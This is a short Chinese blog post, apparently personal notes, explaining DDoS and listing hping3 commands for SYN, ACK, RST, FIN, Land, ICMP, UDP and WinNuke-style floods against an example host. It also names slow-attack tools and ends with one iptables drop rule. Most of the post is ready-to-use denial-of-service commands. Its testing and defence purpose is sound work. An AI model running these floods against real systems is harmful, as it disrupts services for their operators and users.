ddos类型及攻击测试

最新推荐文章于 2024-05-23 10:45:00 发布

天马行空_

最新推荐文章于 2024-05-23 10:45:00 发布

阅读量1.3k

点赞数

分类专栏：网络安全文章标签： ddos linux

本文链接：https://blog.csdn.net/qq_31917799/article/details/106750503

版权

14 篇文章 2 订阅

订阅专栏

ddos是分布式拒绝服务攻击，对于一个提供服务的服务器，短时间内恶意访问次数过多，频率过高时，正常的用户无法访问，正常使用业务，造成拒绝服务。

ddos工具很多，一方面是ddos攻击的原理，需要熟悉协议原理（包括网络层，传输层，应用层）。

hping3是linux下的一个ddos工具，记录下它的使用。假设服务器IP是192.168.1.1，服务端口是80。

TCP SYN Flood

hping3 --flood --syn -p 80 192.168.1.1

TCP ACK Flood

hping3 --flood --ack -p 80 192.168.1.1

TCP RST Flood

hping3 --flood --rst --ack -p 80 192.168.1.1

TCP FIN Flood

hping3 --flood --fin --ack -p 80 192.168.1.1

TCP Land Flood

hping3 --flood -p 80 -a 192.168.1.1 192.168.1.1

ICMP Flood

hping3 --flood --icmp -p 80 192.168.1.1

UDP Flood

hping3 --flood --udp -p 80 192.168.1.1

Winnuke

hping3 --flood --urg --ack -p 137 192.168.1.1
hping3 --flood --urg --ack -p 138 192.168.1.1
hping3 --flood --urg --ack -p 139 192.168.1.1

对于慢攻击的工具，有slowloris，slowhttptest等。

使用iptables可以有效防护DDoS的攻击。

例如简单的丢弃源IP为192.168.1.2的TCP数据包。

iptables -A INPUT --protocol tcp --dport 80 --source 192.168.1.2 -j DROP

关注